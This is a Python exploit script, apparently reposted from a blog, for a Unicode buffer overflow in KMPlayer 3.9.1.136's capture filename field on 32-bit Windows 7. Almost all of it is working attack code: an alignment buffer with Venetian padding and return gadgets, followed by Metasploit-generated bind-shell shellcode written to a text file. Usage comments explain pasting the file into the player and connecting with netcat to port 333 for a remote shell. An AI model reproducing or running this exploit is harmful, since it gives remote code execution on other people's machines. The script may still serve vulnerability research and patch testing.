#!/usr/bin/python
#
# KMPlayer 3.9.1.136 Capture Unicode Buffer Overflow (ASLR Bypass)
#
# Author: Naser Farhadi
#
# Date: 21 June 2015 # Version: 3.9.1.136 # Tested on: Windows 7 SP1 (32 bit)
#
# Usage:
# chmod +x KMPlayer.py
# python KMPlayer.py
# Alt+c | Video Capture | Alt+a | Audio Capture
# paste content of KMPlayer.txt into Filename
# nc 172.20.10.14 333
#
# Video: http://youtu.be/9gtZxR2ioTM
##
buffer = (
"\x50" # PUSH EAX
"\x40" # Venetian Padding
"\x5c" # POP ESP
"\x40" # Venetian Padding
"\x61" # POPAD
"\x45" # Venetian Padding
""+("\x5f\x45" * 125)+"" # (POP EDI/Venetian Padding)*125
"\x54" # PUSH ESP
"\x45" # Venetian Padding
"\x45" # Venetian Padding
"\x45" # Venetian Padding
"\x61" # POPAD
"\x47" # Venetian Padding
"\x33\x77" # POP EBP/RETN from KMPlayer.exe
"\x58" # POP EAX
"\x47" # Venetian Padding
"\x33\x77" # POP EBP/RETN from KMPlayer.exe
"\x58" # POP EAX
"\x47" # Venetian Padding
"\x33\x77" # POP EBP/RETN from KMPlayer.exe
"\x5d" # POP EBP
"\x47" # Venetian Padding
"\x71" # Venetian Padding
"\x71" # Venetian Padding
)
# msfpayload windows/shell_bind_tcp LPORT=333 R|msfencode -e x86/unicode_mixed BufferRegister=ESP -t c
shellcode = ("\x54\x47\x59\x41\x49\x41\
"\x41\x49\x41\x49\x41\x49\x41\
"\x49\x41\x6a\x58\x41\x51\x41\
"\x4c\x41\x59\x41\x49\x41\x51\
"\x41\x41\x41\x5a\x31\x41\x49\
"\x41\x49\x41\x42\x41\x42\x41\
"\x41\x49\x51\x49\x31\x31\x31\
"\x42\x41\x42\x41\x42\x41\x42\
"\x75\x34\x4a\x42\x69\x6c\x39\
"\x70\x53\x30\x75\x39\x67\x75\
"\x70\x50\x6e\x50\x52\x6b\x52\
"\x64\x42\x6b\x52\x52\x4d\x58\
"\x4c\x71\x59\x6f\x36\x4c\x4d\
"\x6c\x6f\x30\x69\x31\x78\x4f\
"\x4b\x42\x70\x52\x6e\x77\x62\
"\x6a\x6d\x6c\x74\x4b\x30\x4c\
"\x6d\x31\x57\x61\x4e\x71\x44\
"\x33\x72\x6b\x71\x39\x6e\x38\
"\x6c\x74\x74\x4b\x4d\x31\x58\
"\x61\x78\x4f\x7a\x6d\x69\x71\
"\x58\x76\x5a\x63\x61\x6d\x59\
"\x45\x57\x74\x30\x58\x54\x4b\
"\x70\x66\x44\x4b\x4c\x4c\x70\
"\x71\x68\x53\x64\x4b\x6c\x44\
"\x51\x34\x6c\x64\x6e\x44\x61\
"\x4a\x70\x51\x49\x6f\x49\x50\
"\x6c\x52\x48\x6b\x64\x4d\x51\
"\x70\x49\x70\x33\x38\x43\x47\
"\x70\x68\x50\x4c\x44\x37\x6c\
"\x48\x42\x70\x6a\x61\x4d\x30\
"\x30\x50\x33\x38\x4b\x79\x35\
"\x75\x31\x5a\x39\x78\x30\x59\
"\x42\x30\x4d\x70\x72\x30\x61\
"\x70\x79\x6f\x66\x75\x56\x37\
"\x4e\x6d\x61\x79\x67\x76\x62\
"\x58\x57\x52\x59\x4b\x70\x37\
"\x42\x48\x74\x77\x69\x59\x4f\
"\x67\x63\x38\x52\x54\x5a\x4c\
"\x31\x47\x46\x37\x62\x48\x54\
"\x6f\x77\x65\x63\x38\x62\x43\
"\x58\x63\x32\x37\x6e\x77\x50\
"\x32\x32\x39\x51\x46\x59\x52\
"\x4f\x34\x4f\x4c\x4d\x31\x6b\
"\x50\x76\x66\x6b\x50\x6e\x64\
"\x6e\x76\x4f\x56\x70\x56\x50\
"\x46\x51\x58\x54\x39\x46\x6c\
"\x34\x49\x59\x50\x50\x4e\x6f\
"\x38\x6c\x48\x54\x47\x6d\x4d\
"\x68\x70\x37\x45\x44\x62\x30\
"\x6d\x53\x6d\x4b\x4f\x79\x45\
"\x35\x30\x4b\x4b\x59\x50\x70\
"\x73\x33\x42\x50\x6f\x30\x6a\
"\x41\x41")
buffer += shellcode + "\x71" * (1534 - len(shellcode))
open("KMPlayer.txt", "wb").write(buffer)
Komentarų nėra:
Rašyti komentarą